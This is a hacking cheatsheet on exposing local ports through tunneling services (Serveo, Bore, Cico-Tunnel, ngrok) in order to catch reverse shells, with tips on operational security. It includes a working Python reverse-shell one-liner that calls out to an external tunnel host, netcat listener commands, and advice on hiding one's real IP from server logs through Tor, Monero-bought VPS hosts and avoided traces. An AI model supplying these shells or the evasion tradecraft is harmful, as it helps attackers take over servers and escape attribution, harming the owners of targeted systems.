

Port Forwarding and Tunneling

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This cheatsheet is designed to help you quickly navigate port forwarding and tunneling tools, offering both traditional and privacy-focused alternatives. Whether you're looking to expose local services to the internet or ensure your online activities remain anonymous, this guide covers various tools like **ngrok**, **Serveo**, **Bore**, and **Cico-Tunnel**, each with its unique features. We've also highlighted their advantages and disadvantages, especially in terms of operational security (OPSEC) and ease of use.

Comparison of Tunneling Tools

Tool	Install Command	Usage Command	Pros	Cons
ngrok	wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz tar -xvf ngrok-v3-stable-linux-amd64.tgz	./ngrok config add-authtoken ./ngrok tcp 80	- Easy to set up and use - Supports TCP tunneling - Free tier available	- Requires token for setup - Public endpoint expires on free tier
Serveo	No install required	ssh -R 0:localhost:80 serveo.net	- No installation needed - Simple and flexible	- Relies on third-party service availability
Bore	cargo install bore-cli	bore local 80 --to bore.pub	- Open-source and lightweight - Simple setup	- Requires Rust installation - May require manual routing setup
Cico-Tunnel	pip install cico-tunnel	cicotunnel 80	- Python-based and portable - Easy localhost exposure	- Limited community support - Endpoint may not persist

Shell Access Commands

Tool	Command
Serveo	1. <code>ssh -R 0:localhost:80 serveo.net</code> 2. Set up a listener: <code>nc -lvp 80</code>
Bore	1. Install Bore: <code>rustup default stable cargo install bore-cli cp /root/.cargo/bin/bore /usr/bin/bore</code> 2. Expose port: <code>bore local 80 --to bore.pub</code> 3. Start listener: <code>nc -lvp 80</code>
Cico-Tunnel	1. Install and expose port: <code>pip install cico-tunnel cicotunnel 80</code> 2. Example reverse shell: <code>python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("tunnel.cico.lol",43131));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'</code>

Alternative Use Cases

You can still use ngrok, but its requirement for a credit card and account signup makes it less OPSEC-friendly. In contrast, alternatives like Serveo, Bore, and Cico-Tunnel let you achieve the same functionality without any signup or registration. These tools allow you to set up port forwarding quickly and securely, all while avoiding the OPSEC risks associated with ngrok - such as linking your email, handling browser cookies, or creating a fingerprintable account. For those prioritizing privacy and simplicity, these alternatives are far more practical.

With alternatives like Serveo, Bore, and Cico-Tunnel, if anyone checks the logs, they won't see any trace of your real IP. Instead, the only information visible will be the IP address of the Tor exit node or the external server provided by services like Cico-Tunnel. This ensures that your actual location and identity are concealed, making it much harder for anyone to link the tunnel activity back to you. By leveraging Tor or similar privacy-focused networks, you significantly reduce the chances of exposing your real IP or any identifying data, keeping your sessions much more secure.

However, for regular scanning, it's still crucial to hide your IP. This is why you should always use a secure VPS or route traffic over Tor when ethically testing sites.

So, assuming you're using Tor or a secure VPS, if you're trying to establish a callback from a server, you'll need to expose one of your local ports to establish a connection and get a shell. This is where I recommend using one of the tools listed above. They allow you to port-forward a local port through their server, offering an OPSEC-friendly alternative for port forwarding.

OPSEC Tips

Tip	Details
Buy VPS with Monero	Using privacy-focused cryptocurrencies like Monero helps you maintain anonymity when purchasing VPS.
Faster Scanning with VPS	VPS provides faster scanning capabilities and more flexibility for various use cases.
Evaluate Tor Alternatives	While Tor provides anonymity, it has drawbacks in speed and protocol limitations. Choose wisely.
Avoid Logging into Personal Accounts	Never log into identifiable accounts (e.g., TryHackMe, Facebook) while maintaining anonymity through Tor.

Pros and Cons for Tor

Pros	Cons
High anonymity and encryption	Slow performance for scanning and data transfer
Excellent for bypassing censorship	Limited ICMP traffic support
Well-established and widely supported	ICMP shell over Tor is not possible
Free and open-source	DNS resolution can be problematic
Multiple layers of encryption	Exit node vulnerabilities (traffic can be intercepted)
No central authority	Not all websites support Tor
Decentralized network	Susceptibility to traffic analysis

Note:

For securely routing traffic through Tor, tools like [TorghostNG](#) and [Kali-Anonsurf](#) are excellent options. I personally recommend **Torghost** because it's lightweight, user-friendly, and actively maintained. The developer also fixed a critical IPv6 leak that affected previous versions, ensuring that all traffic now routes securely through the Tor network without exposing your identity.

That said, having the right tools is only part of the equation. **Always practice strong operational security (OPSEC)** to avoid de-anonymizing yourself. Common mistakes, like logging into personal accounts (e.g., email, social media, or services tied to your real identity), using the same fingerprints (e.g., browser profiles or cookies) across anonymous sessions, or leaving identifiable data in chat logs, can undo all your privacy efforts. **Think before you act** - even a single mistake can lead to exposure.

If you're serious about maintaining anonymity, make it a habit to:

- Regularly check your setup for leaks (e.g., DNS, IPv6, or WebRTC leaks).
- Avoid using the same accounts or aliases across different networks.
- Route your entire system's traffic through Tor when conducting sensitive activities.

Stay safe, happy hacking, and I hope you find this guidance helpful! If you have questions, need more tips, or want to connect with a community of like-minded learners, feel free to reach out on **Discord Hack Academy** or **Whop**. We're here to help you on your journey! 😊